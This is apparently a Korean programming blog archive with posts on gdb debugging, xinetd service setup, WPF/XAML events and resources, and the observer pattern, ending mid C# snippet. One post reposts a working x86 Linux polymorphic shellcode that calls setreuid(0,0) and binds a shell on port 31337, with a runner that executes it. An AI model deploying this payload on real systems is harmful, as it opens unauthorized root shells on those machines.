특정 라인이나 함수에 정지점을 설정한다.

break function : 현재 파일 안의 함수 function 정지점을 설정한다.

break file:function : 파일file안의 function 정지점을 설정한다.

watch 감시점 설정(감시점은 어떤사건이 일어날 때에만 작동한다)

until 실행중 line까지 실행

clear   

특정 라인이나 함수에 있던 정지점을 삭제한다.

delete 

몇몇 정지점이나 자동으로 출력되는 표현을 삭제한다.

next

다음 행을 수행한다서브루틴을 호출하면서 계속 수행한다.

호출이 발생하지 않으면 step 같다.

next n : 이를 n 수행하라는 의미

step

 줄씩 실행 시킨다.

함수를 포함하고 있으면 함수 내부로 들어가서  줄씩 실행시킨다.

print

print expr : 수식의 값을 보여준다.

display

현재 display 명령의 목록을 보여준다.

bt

프로그램 스택을 보여준다. (backtrace)

kill

디버깅 중인 프로그램의 실행을 취소한다.

file

file program : 디버깅할 프로그램으로서 파일을 사용한다.

cont

continue : 현재 위치에서 프로그램을 계속 실행한다.

help

명령에 관한 정보를 보여주거나 일반적인 정보를 보여준다.

quit

gdb에서 빠져나간다.

 

 

 

 

 

 

4.    gdb 해보기

 

예제1

 

% vi test.c

      1 #include <stdio.h>

      2

      3 main()

      4 {

      5     int i;

      6     double j;

      7     /*다음은i/2+i 값을 출력하는 문이다.

      8       i1이면 j1.5 되어야 하지만 실제는 그렇지 않다.*/

      9     for( i=0; i<5 ; i++){

     10         j=i/2+i;

     11         printf(“j is %f \n”,j);

     12     }

     13 }

% gcc –g test.c –o test

% test

실행이 되지 않으면 mv test a.out으로 하여a.out 실행시킨다실행을 시키면 원하는 답이 아니다그러면 gdb 해보자.

% gdb a.out

(gdb) list        // list 소스 내용을 10줄씩 보여준다.

1         #include <stdio.h>

2

3         main()

4         {

5         int i;

6         double j;

7         /*다음은i/2+i 값을 출력하는 문이다.

8         i1이면 j1.5 되어야 하지만 실제는 그렇지 않다.*/

9         ( i=0; i<5 ; i++){

j=i/2+i;

 

(gdb) b 9  // break 9 : for 문에 이상이 있다고 판단하여 line 9 breakpoint 잡는다.

Breakpoint 1 at 0x80483d6: file test.c, line 9.

(gdb) r     // run : breakpoint까지 실행된다.

Starting program: /home/pllab/chowing/gdb/a.out

Breakpoint 1, main () at test.c:9

9  for( i=0; i<5 ; i++){

(gdb) s                           // step : 한줄 실행시킨다.

j=i/2+i;

(gdb) s

11  printf(“j is %f \n”,j);

(gdb) p j         // print j : j 값을 본다.

$2 = 0

(gdb) n

j is 0.000000

for( i=0; i<5 ; i++){

(gdb) display i

(gdb) display j

(gdb) n

11  printf(“j is %f \n”,j);

2: j = 1

1: i = 1

// 10 line에서 실행  i=1 , j=1이므로 10 line에서 잘못된 것을   있다.

// 10 line j = (double) i/2 + i;  고친다.

(gdb) quit

 

예제2

 

% vi hab.c

      1 #include <stdio.h>

      2

      3 int hab(int x, int y);

      4

      5 main(void)

      6 {

      7     int a, b,dab;

      8     printf(“정수a, b 입력하시오”);

      9     scanf(“%d %d”,&a,&b);

     10     dab = hab(a,b);

     11     printf(“\n%d + %d = %d \n”,a,b,dab);

     12 }

     13 int hab(int x, int y)

     14 {

     15     return (x + y);

     16 }                                      

 

//  프로그램은 이상은 없다스택을 보기 위한 것이다.

// 여러 곳에서 호출되는 함수 안에서 충돌이 일어날 경우를 생각해 보자 때는 함수가 어디로부터 호출되었는지 그리고 어떤 상황에서 충돌이 일어났는지 파악하고자  것이다.

backtrace (bt) 명령을 이용하면 충돌이 일어난 시점에서 프로그램의 현재 호출 스택(call stack) 상태를   있다호출 스택은 현재 함수까지 이르는 호출 목록이다함수를 호출할때마다 보관된 레지스터 함수 전달 인수지역 변수 등의 자료를 스택에 push한다이렇게 해서  함수들은 스택상에 일정 공간을 차지한다특정함수에 대하여 스택에서 사용되고있는 메로리 부분을 스택프레임(frame)이라 부르며 호출 스택은 이러한 스택 프레임을 순서대로 정렬한 목록이다.

% gdb hab

(gdb) b 10      Breakpoint 2 at 0x8048428: file hab.c, line 10.

(gdb) r

Starting program: /home/pllab/chowing/gdb/hab

정수a, b 입력하시오3 4

breakpoint 2, main () at hab.c:10

10       dab = hab(a,b);

(gdb) bt         // 현재 스택에 main 있다.

#0  main () at hab.c:10

(gdb) s

hab (x=3, y=4) at hab.c:15

15          return (x + y);

(gdb) bt         // 지금은 스택에 hab 있다.

#0  hab (x=3, y=4) at hab.c:15

#1  0x8048435 in main () at hab.c:10

(gdb) frame 0 // hab 상태를 점검하기 위해서 스택 프레임0번으로 이동

#0  hab (x=3, y=4) at hab.c:15

15          return (x + y);

(gdb) up           // hab 어떻게 호출되었는가를 보기 위하여 상위 스택프레임으로 이동

#1  0x8048435 in main () at hab.c:10

dab = hab(a,b);

(gdb) finish

(gdb) info program     // 프로그램의 실행 상태를 보여 준다.

Using the running image of child Pid 12909.

Program stopped at 0x804843d.

It stopped after being stepped.

(gdb) info locals          // 현재 함수 내에서 모든 지역 변수 이름과 값을 출력한다.

a = 3

b = 4

dab = 7

(gdb) info variables   // 소스파일 순서대로 프로그램 내에 알려져 있는 모든 변수를 출력한다.

(gdb) info address a   // 어떤 변수가 어디에 저장되어 있는지에 대하여 알려 준다.

Symbol “a” is a local variable at frame offset -4.

// a 스택프레임 꼭대기로부터4바이트 아래에 놓여 있다는 뜻이다.

(gdb) info frame          // 현재 프레임 정보를 보여 준다.

Stack level 0, frame at 0xbffff848:

eip = 0x804843d in main (hab.c:11); saved eip 0x400301eb

source language c.

Arglist at 0xbffff848, args:

Locals at 0xbffff848, Previous frame’s sp is 0x0

Saved registers:

ebp at 0xbffff848, eip at 0xbffff84c

 

예제3

 

% vi core.c

      1 #include <stdio.h>

      2

      3 main()

      4 {

      5     char *bug = NULL;

      6

      7     strcpy(bug,“debug”);

      8     printf(“bug is %s \n”,bug);

      9

     10     return;

     11 }

     12

% coredebug

Segmentation fault

// core 파일 생성

% gdb coredebug

(gdb) b 7

Breakpoint 1, main () at core.c:7

7           strcpy(bug,”debug”);

(gdb) p bug

$1 = 0x0          // gdb 에서0x0 null이다 번지가 없다.

(gdb) s

Program received signal SIGSEGV, Segmentation fault.

0x40075434 in ?? ()     

// strcpy에서 segmentation fault 발생한 것을   있다.

// bug 번지를 할당하면 된다.

 

% gdb corebug core  // core파일을 이용하면 bug정보가 나온다.

GNU gdb 4.18

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type “show copying” to see the conditions.

There is absolutely no warranty for GDB.  Type “show warranty” for details.

This GDB was configured as “i386-redhat-linux”...

warning: core file may not match specified executable file.

Core was generated by ‘a.out’.

Program terminated with signal 11, 세그멘테이션 오류.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#0  strcpy (dest=0x0, src=0x8048490 “debug”) at ../sysdeps/generic/strcpy.c:38

../sysdeps/generic/strcpy.c: 그런 파일이나 디렉토리가 없음.

gdb signal 11 번과 함께 코어 파일이 생성되었음을 알려 준다여기서는 허가받지 않은 메모리 공간에 읽기쓰기를 시도했기 때문에 커널이 프로세스에게 signal 11 보냈다.

 시그널로 인해 프로세스는 종료하면서 코어 파일을 덤프한다.

 

l         기타 기능

 

gdb 매우 많은 기능을 가진 프로그램이다.

 

Breakpoint

중지점을 조건적으로 설정할  있다 어떤 동작이 참일 때만 작동하도록   있다Ex) break 184 if (stace == 0)

info break 사용하면 모든 중지점과 감시점 목록을 보여 주고  상태도 보여 준다.

disable 사용하여 작동불능으로   있고 enable 사용하여 가능하게  수도 있다.

 

 

인스트럭션 레벨 디버깅

gdb 통해 인스트럭션 레벨의 디버깅을   있으므로 프로그램의 매우 깊은 내부까지 조사할  있다.

(gdb) disass play      //play함수에 대한 디스어셈블리.

(gdb) display/ i $pc   //현재의 인스트럭션을 보여준다. $pc gdb내부 변수로서 현재인스트럭션의 위치를 가리키는 프로그램 카운터이다.

 

참고

GDB 대한 매뉴얼은

http://kkucc.konkuk.ac.kr/~kipal/html/gdb-man.html에서   있다.

(복사본)

http://pl.changwon.ac.kr/~chowing/gdb_man.html

Posted by k1rha
2012. 5. 6. 11:28


@ 네트워크 프로그래램을 구현하는 두가지 방법은 하나는 독립적인 소켓프로그램을 짜는 방법이있고 두번째는 Xinetd 데몬을 이용하여 네트워크에 연결시키는 방법이 있다.


필자는 전자의 경우만을 구축하여 사용해봤으나 Xinetd를 이용하면 훨씬 편리한 구축 방법이 이뤄지는 것 같다.

예를들어 다음과 같은 코드가 있다고 가정하자.



 
int main(){

   char buffer[100]="aaaaaaaa";

   printf("%s\n",buffer);

}


위와같으 간단한 코드는 로컬에서 동작하는 프로그램으로 보인다.

하지만 이 프로그램을 Xinetd 로 등록하게 된다면 상황은 다르다. 




#gcc -o test test.c

#cd /etc/xinetd.d

#cat > test


service test{

    flags = REUSE

    socket_type = stream

    wait = no

    user = guest

    server = /root/

    disable = no

}

#


위에서 service 오른쪽의 단어는 포트를 의미하는데 test 라는 포트는 존재하지 않으므로 /etc/services 파일에 설정을 해주어야한다. 



 
#vi /etc/services

test 22222/tcp

:wq!

#




위에는 22222의 tcp 포트로 만들어주었다. 그리고 xinetd를 재시작한다.




#/etc/rc.d/init.d/xinetd restart

 


접속을 테스트해보자


 #telnet localhost 222222

aaaaaaaa



정상적으로 출력 된다. 

Posted by k1rha
2012. 5. 6. 10:55

Title  : Polymorphic shellcode that bindport to 31337 with setreuid (0,0) x86 linux shellcode.
Name   : 131 bytes bind port 31337 x86 linux polymorphic shellcode.
Date   : Sat Jun  17 21:27:03 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org), loneferret (offensive-security.com)
greetzz to all devilzc0de, jasakom, yogyacarderlink, serverisdown, indonesianhacker and all my friend !!
*/
 
#include <stdio.h>
 
char bindport[] = "\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"
          "\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"
          "\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"
          "\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"
          "\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"
          "\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"
          "\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"
          "\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"
          "\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";
 
int main(void)
{
    fprintf(stdout,"Length: %d\n",strlen(bindport));
    (*(void(*)()) bindport)();
}

Posted by k1rha
2012. 5. 6. 02:21

Main 에 있는 RadioButton 은 모드 하나의 속성으로 묵여서 전체중에 한개밖에 선택을 할 수 없다.

만약 특정 그룹에서 라디오 속성을 먹이고 싶다면 그룹 이름을 같이 설정만 해주면된다. 


예제 코드는 아래와 같다. 



<StackPanel>

    <GroupBox Header = "Select Your Music Media" BorderBrush ="Black">

        <StackPanel>

            <RadioButton GroupName = "Music" >CD Player</RadioButton>

            <RadioButton GroupName = "Music" >MP3 Player</RadioButton>

            <RadioButton GroupName = "Music" >8-Track</RadioButton>

        </StackPanel>

    </GroupBox>

    <GroupBox BorderBrush ="Black">

        <GroupBox.Header>

            <Label Background = "Blue" Foreground = "White"

                FontSize = "15" Content = "Select your color choice"/>

        </GroupBox.Header>

        <StackPanel>

            <RadioButton>Red</RadioButton>

            <RadioButton>Green</RadioButton>

            <RadioButton>Blue</RadioButton>

        </StackPanel>

    </GroupBox>

</StackPanel>





Posted by k1rha
2012. 5. 6. 02:06

[출처 : http://hoons.kr/Lecture/LectureMain.aspx?BoardIdx=45143&kind=54&view=0 ]

이번껀 너무 그대로 퍼와서.. 그냥 개인 소장용으로 퍼왔고 악의는 없다. 좀더 자세한 내용은 위에 출처를 참조..


이벤트 라우팅의 이해


WPF는 기존의 닷넷 프로그래밍 모델을 그대로 물려받아 사용하고 있다. 그 중에서 CLR의 이벤트 모델에 대한 정교한 동작들 또한 XAML의 객체 트리에서 비슷하게 동작되는 것을 볼 수 있다. 그럼 WPFControlEvents라는 새로운 WPF 프로젝트를 생성하여 이벤트 동작에 대해서 자세하게 살펴보도록 하자. WPF 프로젝트를 생성하였다면 처음에 생성된 <Grid> 개체 안으로 다음과 같은 버튼을 삽입하여 보도록 하자.



 <Button Name="btnClickMe" Height="75" Width = "250" Click ="btnClickMe_Clicked">

    <StackPanel Orientation ="Horizontal">

    <Label Height="50" FontSize ="20">Fancy Button!</Label>

    <Canvas Height ="50" Width ="100" >

        <Ellipse Name = "outerEllipse" Fill ="Green" Height ="25"

            Width ="50" Cursor="Hand" Canvas.Left="25" Canvas.Top="12"/>

        <Ellipse Name = "innerEllipse" Fill ="Yellow" Height = "15" Width ="36"

        Canvas.Top="17" Canvas.Left="32"/>

    </Canvas>

</StackPanel>

</Button>


여기서 <Button> 태그를 열어 Click 이벤트를 지정해 주었고 버튼이 클릭될 때 지정한 메서드가 호출될 것이다. Click 이벤트는 RoutedEventHandler 델리게이트를 기반으로 동작되기 때문에 첫 번째 파라메터로 Object를 두 번째 파라메터로 System.Windows.RoutedEventArgs 파라메터를 전달하게 된다. 


 public void btnClickMe_Clicked(object sender, RoutedEventArgs e)

{

    // 버튼이 클릭되었을 때의 동작

    MessageBox.Show("Clicked the button");

}


다음 [그림29-4]는 현재 컨트롤을 클릭했을 때의 동작을 보여주고 있다. (다음과 같이 버튼이 정렬되는 이유는 필자는 처음에 생성된 <Grid>를 <StackPanel>로 변경하고 실행했기 때문이다.)


그럼 버튼의 구조에 대해서 살펴보도록 하자. 버튼은 UI를 표현하기 위한 여러 개의 자식 엘리먼트들을 가지고 있다. 만약 WPF가 이러한 자식 엘리먼트들에 각각의 Click 이벤트를 지정해주어야 한다고 생각한다면 굉장히 당황스러울 것이다. 결국 사용자는 버튼의 어느 영역이라도 클릭만 한다면 클릭이벤트를 발생시킬 수 있는 것이다. 뿐만 아니라 이벤트들이 분리되어 있다고 생각해보면 그 코드는 상당히 더러워질 것이다. 


윈도우 폼에서 버튼을 가지고 커스텀 컨트롤을 만든다고 한다면 버튼에 추가된 모든 항목별로 Click 이벤트를 추가해주어야 한다. 하지만 WPF는 다행스럽게도 자동적으로 이벤트를 라우팅 시켜주게 된다. 즉, WPF의 이벤트 라우팅 모델은 자동으로 이벤트를 상위 객체로 라우팅 시켜주는 것이다. 


특히 이벤트 라우팅은 세 가지 분야로 분리하여 정리할 수 있다. 첫 번째로 이벤트가 발생했을 때 현재개체에서 상위로 올라가면서 이벤트가 전달되는 경우를 우리는 버블링 이벤트라고 한다. 이와 반대로 이벤트가 자식 개체로 전달되는 경우를 터너링 이벤트라고 한다. 마지막으로 이벤트가 단 하나의 개체에서만 발생하게 된다면 우리는 이것을 다이렉트 이벤트라고 한다.


의존성 속성처럼 이벤트 라우팅은 WPF 구조를 위해서 생성된 타입이라고 보면 된다. 그렇기 때문에 C# 문법을 공부할 필요는 없다.



이벤트 버블링의 역할


앞에서 살펴본 예제에서 만약 사용자가 노란 타원을 클릭했을 때 Click 이벤트는 상위 계층 <Canvas>로 이벤트가 전달되고 그 다음에는 <StackPanel>으로 이벤트가 전달되고 마지막으로 버튼으로 그 벤트가 전달되는 것이다. 이와 비슷하게 만약 Label이 클릭하게 되었다면 그 이벤트는 <StackPanel>로 그리고 버튼으로 이벤트가 전달될 것이다.


이벤트 라우팅을 살펴보았듯이 우리는 Click 이벤트를 다루기 위해서 모든 개체에 이벤트를 각각 넣어주는 수고는 걱정하지 않아도 되는 것이다. 하지만 만약 이러한 클릭 이벤트를 원하는 대로 수정하여 사용하고 싶은 경우가 있을 것이다. 이 경우 또한 우리가 그렇게 수정하는 것이 가능하다. 먼저 outerEllipse이란 컨트롤을 클릭했을 때만 이벤트를 발생시키고 싶다고 가정하자. 먼저 이 객체에 MouseDown 이벤트를 설정해 두도록 하자. 참고로 그래픽 개체들은 Click 이벤트를 지원하지 않고 있지만 MouseDown, MouseUp 이벤트를 이용해서 버튼과 같은 Click 이벤트를 구현할 수 있다.


<Button Name="btnClickMe" Height="75" Width = "250" Click ="btnClickMe_Clicked">

    <StackPanel Orientation ="Horizontal">

    <Label Height="50" FontSize ="20">Fancy Button!</Label>

    <Canvas Height ="50" Width ="100" >

        <Ellipse Name = "outerEllipse" Fill ="Green"

            Height ="25" MouseDown ="outerEllipse_MouseDown"

            Width ="50" Cursor="Hand" Canvas.Left="25" Canvas.Top="12"/>

        <Ellipse Name = "innerEllipse" Fill ="Yellow" Height = "15" Width ="36"

            Canvas.Top="17" Canvas.Left="32"/>

    </Canvas>

    </StackPanel>

</Button> 


그리고 나서 각각의 이벤트 메서드에서는 제목 표시줄의 제목을 간단하게 변경하는 로직을 작성해 보도록 하자.


 public void outerEllipse_MouseDown(object sender, RoutedEventArgs e)

{

    // Window의 제목 변경 이벤트

    this.Title = "You clicked the outer ellipse!";

}


이러한 방식으로 우리는 원하는 동작을 커스텀하게 작성할 수 있을 것이다. 


버블링 이벤트 라우팅은 언제나 상위의 개체로 이벤트를 이동시킨다. 그렇기 때문에 이번 예제에서 innerEllipse 객체를 클릭하면 outerEllipse가 아닌 상위 Canvas에 그 이벤트가 전달될 것이다. 즉, 두 개의 Ellipse 개체는 모두 동일한 레벨에 위치되어 있기 때문이다.



연속적이거나 불완전한 이벤트 버블링


여기서 만약 사용자가 outerEllipse객체를 클릭한다면 트리거에 Ellipse 타입을 위한 MouseDown 이벤트가 등록될 것이고 이 버블링은 해당 객체를 만나게 되면 이벤트는 중지된다. 대부분의 경우 이렇게 되길 바랄 수도 있지만 어떤 경우에서는 이 이벤트가 계속 상위로 전달되기를 바랄 수도 있다. 이 때 우리는 RountedEventArgs 타입에 false를 할당해 줘서 이벤트를 계속 유지시키는 것이 가능하다.




public void outerEllipse_MouseDown(object sender, RoutedEventArgs e)

{

    // Window 제목의 변경

    this.Title = "You clicked the outer ellipse!";

    // 버블링의 유지

    e.Handled = false;

}


이 경우 우리는 제목을 변경한 후에 버튼의 Click 이벤트에 전달되어 메시지 박스가 실행되는 것을 볼 수 있다. 요약하자면 이벤트 버블링을 단 하나의 이벤트로 처리되는 것을 가능하고 또한 불연속적인 이벤트를 제어하는 것 또한 가능하다.



터너링 이벤트의 역할


엄밀히 말해서 이벤트 라우팅은 실제로 버블링(Bubbling) 아니면 터너링(Tunneling) 이벤트 중에 하나이다. 터너링 이벤트들은 원래 엘리먼트가 가지고 있는 자식들 개체로 이벤트를 전달하게 된다. 대체로 WPF 클래스 라이브러리의 각각의 버블링 이벤트는 터너링 이벤트와 짝을 이루게 된다. 예를 들어 앞에서 MouseDown이 발생했을 때 PreviewMouseDown 이벤트가 먼저 발생하게 된다. 


터너링 이벤트는 다른 이벤트들을 선언하는 것과 같이 선언할 수 있다. 간단하게 XAML안에 이벤트 이름을 할당하고 거기에 메서드 이름을 지정해주면 되는 것이다. 그럼 이 터너링과 버블링 이벤트들을 확인해 보기 위해서 outerEllipse에 PreviewMouseDown를 추가해 보도록 하자.


 <Ellipse Name = "outerEllipse" Fill ="Green" Height ="25"

MouseDown ="outerEllipse_MouseDown"

PreviewMouseDown ="outerEllipse_PreviewMouseDown"

Width ="50" Cursor="Hand" Canvas.Left="25" Canvas.Top="12"/>



다음으로 현재 C# 클래스를 정의했던 메서드들을 string 문자열에 정보를 업데이트 하게 수정하자. 그리고 마지막에 이 문자열들을 한꺼번에 보여주게 수정해보도록 하자.


 public partial class MainWindow : System.Windows.Window

{

    // 마우스 관련 이벤트 정보를 담을 문자열

    string mouseActivity = string.Empty;

    public MainWindow()

    {

        InitializeComponent();

    }

    public void btnClickMe_Clicked(object sender, RoutedEventArgs e)

    {

        // 마지막으로 문자열 보여주기

        mouseActivity += "Button Click event fired!\n";

        MessageBox.Show(mouseActivity);

        // 문자열 클리어

        mouseActivity = string.Empty;

    }

    public void outerEllipse_MouseDown(object sender, RoutedEventArgs e)

    {

        // 문자열 추가

        mouseActivity += "MouseDown event fired!\n";

        // 버블링 유지

        e.Handled = false;

    }

    public void outerEllipse_PreviewMouseDown(object sender, RoutedEventArgs e)

    {

        // 문자열 추가

        mouseActivity = "PreviewMouseDown event fired!\n";

        // 버블링 유지

        e.Handled = false;

    }

}


이렇게 수정한 후에 프로그램을 실행해본 후에 밖의 원을 피해서 클릭해보면 간단하게 “Button Click event fired!” 라는 이벤트가 보여지는 것을 볼 수 있을 것이다. 하지만 만약 밖의 원을 클릭해보면 다음 [그림29-5]와 같은 메시지가 보여지는 것을 볼 수 있을 것이다.



그렇다면 WPF는 왜 이렇게 한 쌍으로 이벤트를 발생시키는 것인지 궁금할 것이다. 그 이유는 이벤트 미리보기를 통해서 데이터 유효성 검사나 버블링 동작의 실행여부와 같은 로직을 좀 더 유연하게 구현할 수 있게 하기 위해서라고 보면 된다. 대부분의 경우 Preview 접두사로 이용하는 터너링 이벤트들을 많이 이용하지 않을 것이고 보다 간단한 버블링 이벤트를 사용할 것이다.


의존성 속성을 직접 손으로 구현하는 경우처럼 터너링 이벤트는 서브 클래스를 가지고 있는 WPF 컨트롤에서 일반적으로 사용된다. 만약 이벤트가 버블링 되는 커스텀 컨트롤을 만든다면 의존 속성과 비슷한 메커니즘을 이용해서 커스텀 라우팅 로직을 구현해주어야 한다. 만약 이 내용에 대한 더 자세한 정보를 보고 싶다면  .NET Framework 3.5 SDK 문서의 “How to: Create a Custom Routed Event”를 살펴볼 것을 권한다.


Posted by k1rha
2012. 5. 6. 01:45

내용없음.. 개인 보관용 


                <StackPanel Orientation = "Horizontal">

                    <Expander Name="colorExpander" Header = "Color">

                        <!-- 특정 아이템들이 있다고 가정하자 -->

                      

                    </Expander>

                    <Expander Name="MakeExpander" Header = "Make">

                        <!-- 특정 아이템들이 있다고 가정하자 -->

                    </Expander>

                    <Expander Name="paymentExpander" Header = "Payment Plan">

                        <!-- 특정 아이템들이 있다고 가정하자 -->

                    </Expander>

                </StackPanel>

            </StackPanel>


Posted by k1rha
2012. 5. 6. 01:17

우리가 자주 사용하는 특정 배열이 변하지 않는다는 가정을 하고, 그 배열을 이곳 저곳 (List Box)에서 반복해서 사용해야 한다고 생각해보자. 

이렇게 다른곳에서 참조하여 사용하고 싶을대 이 배열을 리소스 엘리먼트안에 넣는다면 그러한 방식으로 사용 할 수 있다.


WPF의 리소스들은 문자열 배열과 같은 마크업의 커스텀 데이터를 보여주기 위해서 주로 사용한다.




 <Page

xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"

xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"

xmlns:CorLib="clr-namespace:System;assembly=mscorlib">

  <StackPanel>

    <StackPanel.Resources>

      <x:Array Type="CorLib:String" x:Key = "GoodMusic">

        <CorLib:String>Sun Kil Moon</CorLib:String>

        <CorLib:String>Red House Painters</CorLib:String>

        <CorLib:String>Besnard Lakes</CorLib:String>

      </x:Array>

    </StackPanel.Resources>

    <Label Content ="Really good music"/>

    <ListBox Width = "200" ItemsSource ="{StaticResource GoodMusic}"/>

  </StackPanel>

</Page>


그리고 이렇게 staticResource마크업 확장자 식으로 ListBox에 대입되게 되면 초기 바인딩 이후에 값이 변하지 않고 항상 유지된다. 다른것이 향후 변경된다하더라도 이 staticResource를 참조한 컨트롤의 값은 변하지 않는다.


이것을 허용하기 위해서는 DynamicReosurce를 이용해야 한다. 



Posted by k1rha
2012. 5. 5. 19:12


this. 객체에는 여러가지 이벤트 기능을 추가 할 수 있는데 크게 Activated 와 Keyboard 그리고 mouse 이벤트가 있다.

종류는 아래 스크린샷과 같다. 

 




이를 이용하여 += 으로 객체들을 추가 해 줄 수 있다. 이 때 파라미터값은 생략한다. 

그리고 아래 코드와 같이 메소드를 선언해 준다. 



 

 protected void MainWindow_KeyUp(object sender, System.Windows.Input.KeyEventArgs e)

        {

            // Display keypress.

            title.Content = e.Key.ToString();

        }


        protected void MainWindow_MouseMove(object sender, System.Windows.Input.MouseEventArgs e)

        {

            // 마우스의 X,Y 좌표를 가져온다.

            title.Content = e.GetPosition(this).ToString();

        }


}


위와같은 방식으로 마우스의 위치와 키보드의 입력을 가져 올 수 있다. 



Posted by k1rha
2012. 5. 5. 17:20
이미지를 XMAML 로 생성해주지 않고 동적으로(갯수가 몇개인지 정확하지 않을때) 생성해 주고 싶은 경우가 있는데 
아래와 같이 해주면 된다. 

 public partial class MainWindow : Window

    {

        public MainWindow()

        {

            InitializeComponent();

            String PATH = "c:\\tmp\\1.jpg";


            Image test = new Image();

            BitmapImage bitmap = new BitmapImage(new System.Uri(PATH));

            

            test.Source=bitmap;

            test.Width=100;

            test.Height=100;


            main_grid.Children.Add(test);



        }

    } 


빠트렸던 부분이 이미지 객체를 생성하고나서 이를 grid 쪽에 추가를 안해주고 안뜬다고 툴툴 됬었다. 


Main 에서  children.add 를 통하여 객체를 추가해 줘야함. 

Posted by k1rha
2012. 5. 3. 00:29

우선 옵저버 패턴(Observer pattern)이란 무엇인가? 에 대해서 생각해보면, 흔히들 말하는 모니터링개념이라고 생각하면 좋다. 


스타크래프트에서도 옵저버는 감시하는 용으로 쓰이게 되는데, 이 패턴은 그러한 개념에서 이름이 붙여지지 않았을까 싶다. 


[그림출처]http://blog.naver.com/hoi5man?Redirect=Log&logNo=60147956284



예를들어 설명해보면 보안쪽 방화벽 장비가 시스템에 해킹시도가 있는지 없는지 감시하고 있다고 하자, 그리고 그 변화를 다른 객체에서 감지하고 싶다.  이럴경우 물론 Thread 나 Fork(유닉스환경)을 사용해서 그 데이터를 실시간으로 검사 주는 것도 방법일 것이다.


하지만 이 모니터링된 자료를 또다른 객체에서 쓰고싶다면? 그리고 또다른 객체에서 쓰고싶다면? 한 프로그램에서 관리받지 못하는 Thread 숫자는 각 프로그램마다 따로따로 돌아가고 이는 자원(resource)의 낭비가 될 수 있다. 


혹은 수많은 메소드들을 따로따로 호출해 줌으로써 코드가 번잡해지거나. 어떤 옵저버를 쉽게 추가하거나 삭제할 수 없을 것이다. 


옵저버 패턴을 이러한 문제를 해결하기 위하여 옵저버를 한데 모아 관리하고 그 옵저버들에게 변화가 일어남과 동시에 메시지를 전달하는 효과를 효율적으로 도와준다. 


옵저버 패턴을 구현하는 방법에는 여러가지가 있지만 대부분 주제(Subject) 인터페이스와 업저버(Observer)인터페이스가 들어있는 클래스 디자인을 바탕으로 한다.


흠... 위에 그림은 해드퍼스트 자료를 기반으로 좀더 보기 편하게 그려 본 것이다. 

(그리는데 고생했는데 너무 작지 않은가 걱정이다.ㅠㅠ..)


옵서버 패턴에 대해서 간단한 개요를 보면, 값이 자주 변화하는 클래스에서 변화가 이러날 때 변화를 출력하거나 그 변화를 이용해야 할 메소드를 호출 시키는 것이다. 


혹시 안드로이드 개발을 해보신 분이라면 안드로이드에 broadCast 의 특정 action 을 주어 특정 앱들만 받게 되는 형태와 매우 흡사하다. 


처음 옵저버들.(데이터변화를 감지해야할 대상)들은 registerObserver를 통하여 자신을 옵저버에 등록한다. 이때 자기 자신을 업데이트 시킬수 있는 Update() 메소드를 반드시 가지고 있어야 한다.


우선 MainClass 의 맨아래쪽에 있는 setMeasurrenments 클래스를 통해 데이터가 들어온다.

 (이 변화된 데이터는 특정 입력, 혹은 쓰레드를 통한 감시된 값들이 될 것이다.) 


그러면 자신의 변수들을 변형시키고 measurementsChanged() 함수를 실행시켜 NotifyObservers()를 호출하여 모든 옵저버들의 update 메소드를 실행시키는 간단한 구조이다. 





자바에는 이미 Observable 이라는 클래스가 존재하여 좀더 편하게 옵저버를 구성할 수 있도록 해놓았다. 

(Import java.util.Observable 과 import java.util.Observer 를 불러와주면된다 이후 이를 상속받아 사용한다. )

이 클래스를 상속받아 사용하면  옵저버들을 관리할 List 자료구조가 필요 없게 된다. (유용하다!) 

또한 for 문을  통하여 옵저버들에게 일일이 뿌려주는 구조를 취하지 않는다.



옵저버 입장에서는 Observer 인터페이스를 implement 시켜 Observable 이라는 클래스에 addObserver를 통해 넣어주면된다.


하지만 이렇게 자바를 기반으로 하는 Observable 패턴을 사용하면 안좋은점 2가지가 있다.

우선 인터페이스로 구성된것이 아니라 클래스로 구현된 것이기 때문에 자신의 프로그램에 맞게 재구성 할수 없다는 점이다. 

그리고 두번째는 클래스화이기 때문에 이미 다른것을 상속받은 상태에서는 또다시 상속받을수 없어 코드의 재사용성에 문제가 될 수 있다. 



==========================================================================================================

사실 필자는 처음 Observer Pattern 으로 인해서 Thread를 사용하지 않고 어떠한 패턴을 감시할 수 있을 줄 알았다. 

마치 WPF의 바인딩처럼 어떠한 변화가 update() 같은 메소드를 가지지 않고도 변화를 인식할 수 있는 패턴이라고 생각했다.  하지만 현실은 감시하는 부분은 어쩔 수 없는 부분인 것 같다. 


다만 변화를 감시하는 곳에서 MainClass 의 메소드중 하나를 실행시킬수 있다면, 그걸 필요로 하는 옵저버들에게 전파시켜주는 역할만을 담당 하는 것이다. 


옵저버 패턴이란 이런 것이다. 


=========================================================================================================



 




Posted by k1rha
2012. 5. 3. 00:28



 

using System;

using System.Collections.Generic;

using System.Windows.Forms;


namespace marlie.TumbnailDotnet

{

    static class Program

    {

        /// <summary>

        /// The main entry point for the application.

        /// </summary>

        [STAThread]

      

        static void Main()

        {

            Application.EnableVisualStyles();

